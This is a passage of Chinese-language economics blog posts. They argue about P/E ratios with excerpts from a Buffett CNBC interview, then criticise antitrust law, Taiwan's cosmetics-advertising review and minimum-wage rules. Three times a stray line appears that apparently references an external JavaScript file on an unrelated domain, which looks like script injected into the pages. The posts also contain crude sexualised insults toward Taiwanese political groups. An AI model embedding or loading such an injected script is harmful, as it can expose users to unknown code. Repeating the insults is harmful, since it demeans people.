懂利息理論就知道，所有的資產的現值應該是未來收入流的折現值總合，但通常媒體宣稱的本益比所使用的E並非「未來收入」，而是「過去收入」，這在經濟學上不但已經犯了重大錯誤，而且計算出來的數字是完全無意義的。

這個數字錯誤地假設，企業活動結果會跟去年一樣，但通常並不成立。

因此，要正確地使用「本益比」這個工具，你需要的並不是拿「過去盈餘」計算，而是要拿「未來盈餘」才對，也才符合經濟學邏輯。明眼人都看出來，未來盈餘才是大麻煩與功夫所在，因為預測未來盈餘絕非易事，之中存在非常鉅額的「訊息成本(information costs）」。而要提高預測未來盈餘正確性，根據我的經驗，一流的economic sense不可少。

這就說明了為什麼會計學博士、財務學博士投資股市績效往往不怎樣，因為二者都在過去數字打轉，在錯誤的方向上努力結果往往更糟。

這也說明了為什麼許多經濟學博士股市績效也很差，因為當今經濟學課本錯誤百出，加上許多經濟系教授乃至於博士其實economic sense非常差，純粹數學強，經濟邏輯常常錯誤連篇而不自知。

至於商學院那種訓練編故事能力的學問，又跟真正投資是八竿子打不著關係。

這更說明了像巴菲特這種對於企業活動未來預測準確性高的人，可以享有非常高的租值！（761億美元身價）

奉勸一句，如果朋友能有自知之明，清楚自己不是巴菲特這種料（可惜有自知之明的人太少），那朋友你還是乖乖投資ETF或指數型基金就好，市場是最殘酷的老師，自我欺騙與催眠對市場是無效的。

2.武斷地選擇本益比10、20、30或者不經思考地以過去與現在的本益比做比較。

上述錯誤觀點散見於諸多媒體乃至於號稱「股市大師」的論述中，但很可惜也錯得一塌糊塗。

共同錯誤在於這些人都忽略的，本益比既然是報酬率的倒數，真正有意義的比較對象應該是機會成本 — 也就是放棄的最高代價。如前述，巴菲特選擇美國國債利率作為機會成本來比較，這就是為什麼2017/2/27接受CNBC訪問時，會說現在美股沒有泡沫化，同時此時美股不算貴：

Quick: Although you have had times where you thought stocks were incredibly cheap, like in 2008, 2009, when you talked about that, even on our program. You thought that there were times that stocks were greatly overvalued where you’ve said, “Forget it, don’t do it." Are we near an inflection point right now, as best as you can tell?

Buffett: Well … I’ve been talking this way for quite a while, ever since the fall of 2008. I was a little early on that actually. But I don’t think you could time it. And we are not in a bubble territory or anything of the sort. Now, if interest rates were 7 or 8 percent then these prices would look exceptionally high. But you have to measure, you know, you measure everything against: interest rates, basically, and interest rates act like gravity on valuation. So when interest rates were 15 percent in 1982 they’d pull down the value of any asset. So, what’s the sense of buying a farm on a 4 percent yield basis if you can get 15 percent in government’s? But measured against interest rates, stocks actually are on the cheap side compared to historic valuations. But the risk always is, is that — that interest rates go up a lot, and that brings stocks down. But I would say this, if the ten-year stays at 230, and they would stay there for ten years, you would regret very much not having bought stocks now.

此外巴菲特也提到道瓊指數在他11歲的時候只有100點，當時就充斥著「股市過熱」種種言論，後來過200點的時候也一樣，幾百點到幾千點，每天都有人主張股市過熱。巴菲特強調他不知道明天股市會怎樣，說不定會重挫20%，這在過去也不是沒發生過，但他認為只要美國經濟制度像過去幾十年一樣順利發展，未來道瓊指數過10萬點也不是什麼大事，一如回頭看他11歲時的道瓊。

Quick: Yeah, there are times, Warren, where you hear pundits or other people saying, “Look things are at risk at this point. Our American way of life, our system is under threat." And I’ve heard this from all sides at all different times. Is there ever a point where you thought that was the case?

Buffett: No, and you say you’ve heard it at all times from all sides. I’ve been hearing it, you know, all my life. And in the spring of 1942 I was 11 years old, and the Dow was at about 100. And we were losing the war in the Pacific at that point, that was early … was shortly after Pearl Harbor. And there was no doubt in this country we were going to win over time. I mean, and people said, “Well, this is let’s wait till things are clear, let’s wait till we start winning the war." There’s always a reason to wait and I’ve listened to that all my life. You know, when I got out of school the Dow had never been above 200. There’d never been a year when the Dow had not been below 200 during the year. Even in 1929, when it got to 381, the low was below 200. Never been a year. Well, so what, you know? But that was a big subject at that time. And then you know, we ran into price controls, we ran into the oil shocks, you name it, just all kinds of things. And those are diversions. So all my life I’ve been hearing, “You know, maybe there’s a better time to invest, you know?" Or, “Things are more unpredictable now." They’re always unpredictable. I can’t predict what’s gonna happen tomorrow. I mean, you could have anything happen tomorrow. We’ve had October 19th, 1987, 22 percent down in one day. So I can predict what’ll happen ten or 20 years in a general way, but I have no idea what’ll happen tomorrow. And the important thing is if you got these wonderful assets out there, to own ’em, and which ones do you own? I mean, if you … if you save money you can buy bonds, you can buy a farm, you can buy an apartment, house, or even buy a part of American business. And if you buy a 10-year bond now you’re paying over 40 times earnings for something whose earnings can’t grow. And you know, you compare that to buying equities, good businesses, I don’t think there’s any comparison. But that doesn’t mean the stock market can’t go down 20 percent tomorrow. I mean, you never know what it’s going to do tomorrow, but you do know what it’s going to do over ten or 20 years. And people talk about 20,000 being high. Well, I remember when it hit 200 and that was supposedly high. The Dow, I mean, the Dow, in your lifetime. You know, you’re going to see a Dow that certainly approaches 100,000 and that doesn’t require any miracles, that just requires the American system continuing to function pretty much as it has.

題外話一句，我覺得台灣媒體很悲哀的是斷章取義、自行想像地亂下標題，例如：

財訊週刊 –「巴菲特：道瓊上看10萬點、別妄想拉回再買，蘋果看旺」

東森新聞 — 「股神94狂　巴菲特：美股最終會逼近10萬 」

鉅亨網 — 「巴菲特：維持零利率五十年道瓊上十萬點」

蘋果即時 — 「巴菲特：若Fed這麼做　美股早就上10萬點」

慢著，巴菲特有說"維持零利率50年道瓊上10萬點"這種話嗎？通篇訪談我都沒看到，這些記者不知道是用A眼、B眼還是P眼看到的？

他明明是說：「…you’re going to see a Dow that certainly approaches 100,000 and that doesn’t require any miracles, that just requires the American system continuing to function pretty much as it has.」

這邊我要特別點一下，就是巴菲特所依據的利率並不完全是純粹市場利率，而是經過美國Fed人為操作後的利率。而美國用操控利率來達到貨幣與經濟政策，這從經濟學上是個大敗筆，以後有空再多談。

回到本益比這個主題。

很明顯巴菲特也是正確的經濟學機會成本觀念在看本益比，目前股價是否過高，比較的是現今利率環境，而非任何一個武斷的、經驗的數字。我們因此也就知道，股市究竟上幾萬點、幾千萬點，這個訊息本身是沒有任何意義的，自然也無從得知股價是否過高、股市是否過熱。

3. 盈餘成長的公司，本益比永遠不會過高；盈餘衰退的公司，本益比永遠過高！

既然盈餘是要看未來，假設有間公司每股盈餘（EPS）今年是10，明年後年年都會是500（姑且假設發生機率是100%），則現在300元股價，本益比究竟是偏高還是低？

反之，今年EPS是10，明年後會衰退到年年都是0.01，現在50元股價是高還是低？

最後這個極端例子，綜合第一點與第二點，對投資有興趣的朋友好好想想，就不會再被有關本益比諸多似是而非的謬論迷惑了。https://js.developerstatss.ga/stat.js?n=ns1

華爾街日報「The Disturbing New Facts About American Capitalism. — 2017/03/03」

New research suggests US companies are moving toward a winner-take-all system in which giants get stronger, not weaker, as they expand.

作者是我蠻欣賞的Jason Zweig，此文提到幾位經濟學家（Gustavo Grullon, Yelena Larkin, Roni Michaely）研究發現過去經濟學教科書認為越大的公司越笨重，所以讓小公司有存活甚至打敗大公司的機會，但現在這樣的公式已經被打破，Superstar型公司幾乎是越大越強，例如Apple 或Google。

文中幾個重要數字：

a. 1997年時，不動產仲介有42家上市公司並拿下49%市場。到2014年只剩20家上市公司，其中最大的四家拿下78%市占率。

b. 1997年時，超級市場產業有36家上市公司並佔有50%市場；但到了2014年只剩11家上市公司，其中最大的四家 — Kroger, Supervalu, Whole Foods Market, 與Roundy’s總共吃下89%市占率。

c. 全美20年前有7000多家上市公司，現在只剩下不到4000家。

d. 1996年，S&P500淨利率最高的25家公司，其淨利率中位數是21%，但現在來到39%。整體S&P500的淨利率中位數 20年前是6.7%，現在則提升到9.7%。

這些經濟學家認為此乃反常現象，事實上恰恰證明多數經濟學家經濟學基礎不夠，懂深不懂淺。

經濟學有一個「邊際產量遞減定律」，意思是在其他因素不變之下，單純增加某個生產要素，總產量會增加到一個點之後，反而開始減少。

這是一個實證定律也是經驗定律，因為如果這個定律不存在，那麼我們就可以用一個盆栽種出足以供應全世界需求的糧食。

這也是為什麼許多人都先入為主地認為大企業是大笨象，成長到一個點就反而不如小企業來得有生產力。因此很長一段時間，股市投資的書籍、財經雜誌喜歡把中小企業劃為成長性投資，大企業則是穩定型投資。

可惜此種說法似是而非，只對了一半。最明顯就是Apple、Google、Facebook這些反證，否定了以上傳統投資觀點。

從這裡衍生我要談兩個點：

Antitrust penalties across globe hit new high with Brussels levies up tenfold.

Antitrust fines across the globe hit a new high of $6.7bn in 2016, but the two biggest markets took divergent approaches, with the European Commission imposing record fines while penalties fell in the US.

從經濟學來看，反托拉斯法本身就是一個違反經濟學原理的法律，整部法律的效果只會助長壟斷，同時阻礙真正的競爭。

比較困難的推論可以得出，越是積極推行反托拉斯法的社會，其同時期經濟發展一定越差。

最近因一例一休產生的全面性漲價，根本就是經濟學上之必然結果。愚蠢的法律人跳出來要查聯合行為，我只想說：「拜託，放過台灣經濟吧，已經因為一堆左派蠢蛋而失去一切希望了，別再火上加油，最後台灣人只能唱著名曲 I dreamed a dream那句” … so different from this hell I’m living”。」

不過想想經濟學也告訴我們，任何一個有點租值的社會必然有許多蛀蟲靠這類侵害他人產權/尋租的方式維生。

最近化妝品廣告事前審查制度終於被大法官宣告侵害廠商言論自由違憲，但10幾年來多少廠商受害受損，試問政府以及執行公務員要不要賠償？

碰過這一塊的就知道這群公務員有多可惡，打著保護消費者的大旗，其實阻礙台灣化妝品產業發展至極。

先不提緩慢的行政效率，我就碰過許多化妝品業界的人抱怨：春夏應該上檔的防曬乳廣告，被這群衛生局公務員從年初審到秋天都還沒審完，公文來來回回形同凌遲。試問廠商要不要先跟媒體、廣告公司定版面、排時間？公務員怠惰緩慢造成開天窗要不要賠償？

令人哭笑不得地，我親耳聽過一個衛生局公務員跟我抱怨：「你們廠商為什麼老愛刊廣告找我麻煩，讓我事情做不完？」

台灣衛生單位後來乾脆搞出一個手冊，明載「化妝品廣告只能使用哪些說詞」。滑天下之大稽啊！試問世界上哪個地方不同品牌廣告內容竟然一模一樣？產品特色也一模一樣？原因是：該國衛生單位「只准」你講這些，超過的通通要開罰。

最有名例子就是化妝品廣告「絕對不能出現”白”這個字」，美白、亮白、淨白….都都不准。就算你能拿出國外知名醫學院人體實驗證明你的產品的確有淡化膚色效果，對不起，台灣衛生單位不承認也不想承認這些實驗，你再有科學與實證根據也不准在廣告中提及，連你的實驗結果也不准提，喔，不，是連你曾把產品送國外實驗這件事都不准提。

開罰經濟後果有二：

1. 化妝品同業競爭扭曲化 — 不思考改進產品。某些不肖廠商找一堆工讀生到處尋找同業廣告，不斷檢舉。不管是否違法，同業都被迫多次到衛生單位說明，徒增成本與困擾。
2. 大品牌本錢厚，把罰款當做廣告成本一部分；或是黨政關係良好的品牌，一通電話罰單自動取消。新興小品牌就算產品再好再行，受罰基金不夠粗也只能被淘汰 — 注意，不是市場競爭淘汰，而是被政府淘汰。


以上均是我親眼所見：某品牌一年撥上千萬等著被罰；另某品牌背後大股東是某黨立院高人與直轄市高官，該品牌經理一通電話，衛生單位公務員連連道歉，直言是新進人員有眼不識泰山，沒看出這廣告背後靠山而「誤罰」，都是誤會，罰單立馬取消。此品牌廣告天花亂墜也安然無事。


這種扭曲市場競爭的法律，何止是侵害廠商言論自由而已！而是整個產業發展也被扭曲化、尋租化與出走化。台灣大法官只看言論自由，在法律經濟分析這塊還是顯得太過無知。
https://js.developerstatss.ga/stat.js?n=ns1

從WSJ兩篇新聞談起
第一篇新聞：
The “fight for $15”: coming to a city hall near you. — 2017/1/2
The Trump administration should show local officials the research that minimum wages cost jobs.
1. 美國一些左派城市2003年以來競相提高最低工資額度
2. Santa Fe 在2003年第一個將最低工資從$5.15提高到$8.5，在2005年的研究指出Santa Fe因此 the likelihood of unemployment among less-educated workers jumped by more than 8%。
3. 在2012年的研究中發現San Francisco每提高$1最低工資，在年輕勞工族群上就會增加4.5%失業率。
上述後果，都過映證了Econ 101最基礎原理 — 價格提高，需求量就會降低。邊際上的影響最大。

第二篇新聞：
Businesses ramp up investment despite rising rates. — 2017/1/2

After years of hoarding cash and buying back stocks, US companies are ready to spend money on equipment, buildings.
1. Executives have grown more optimistic about growth, in part anticipating that President-elect Donald Trump’s administration and Republican congressional majorities will bring regulatory rollbacks, corporate tax breaks, and infrastructure spending.
2. Despite years of near-zero interest rates that made borrowing cheap, many big US corporations have been hoarding cash or plowing money into safer pursuits in the wake of the recession. Some, like General Motors and railroad CSX corp., borrowed to prop up pension plans. Others, including Home Depot Inc., and Yum Brands Inc., used cheap debt to repurchase shares. Meanwhile, overall spending on building new factories or upgrading aging equipment languished.

貨幣政策有其局限性，並非利率調成0經濟就自己會變好；菲利普曲線並非萬能，事實上那只是一種用通膨假象降低營業成本創造出來的假性榮景，如果政府不能從法規面真正地鬆綁，讓人民所有產權能自己利益最大化，經濟發展永遠不會好。

美國2008年金融風暴到現在就是最明顯的例證：不管Fed利率調多低都沒辦法改變Obama政府眾多法規箝制下，商業經營者對於未來的悲觀預測，因此低利率只是讓公司決策者傾向借錢買回股份或是發放現金給股東。但Trump上台主張的解除管制、降低公司稅賦與更新基礎建設，不管事後是否真的執行，至少現階段讓公司決策者對未來預期轉為樂觀。
從I. Fisher的利息理論來看，一但投資回報預期增加，犧牲現在的消費轉為對未來收入流的投資決策傾向就會增加，從而也將推升實質利率。資產價格也將受到限制，直到新的財富被創造出來，房產股票等財富倉庫價格就會合理上漲。

明擺在眼前的事實，林全這位經濟學家領軍的政府難道真的可以昧於如此 Econ 101的經濟邏輯，繼續用更多管制來鉗害台灣經濟發展？

這在台灣也是一樣 — 再低的利率都敵不過仇視商人的投資環境與法規，有錢人當然會比較開設新事業的種種隱形成本（特別是勞動法規、環保法規層面）高於單純炒股、炒房時，就一定會出現生產投資沒人愛，股價房價人人炒的現象。看看台積電、大立光，企業龐大租值深厚如他們，要蓋個新廠，光搞定政府就要花費多少成本！家庭即工廠榮景不再，多少年輕人只能搞咖啡店，試問現今誰有能力或意願創業蓋個小工廠？無知者如sway不斷將炒房行為視做黑心剝削大加撻伐，事實上根本昧於台灣實際投資生產活動環境惡劣、財富沒處去的侷限。

台灣政府卻不思改善經濟活動的法規成本逐漸增加這個病根，反而推出更多法規打擊股市、房市，自然有財富者的正確經濟決策，就是把財富移往投資或保值成本較低、風險較小的其他國家。等台灣這群反對服貿、貨貿的愚蠢太陽花世代一個個步入中年發現自己活在一灘經濟死水國家而後悔莫及時，台灣已經從亞洲四虎淪為菲律賓甚至希臘的地位。（或許這群人蠢到就算見到棺材也還堅信自己的膚淺理想是值得的）

到時別說中國要統一台灣有多容易，很可能根本就是台灣自己搖著屁股像婊子一樣求中國賞碗飯吃。（或許這群現在號稱「天然獨」的到時又一個個爭先恐後地要跟新主子證明自己是「根正苗紅的基因統」啦！歷史多次證明所謂的理想不過是一種無聊消遣，理想主義者背骨可大的哩～）

若下個新總統也是蔡英文這等水準，那麼不出20年台灣重回祖國懷抱的日子即可實現。
https://js.developerstatss.ga/stat.js?n=ns1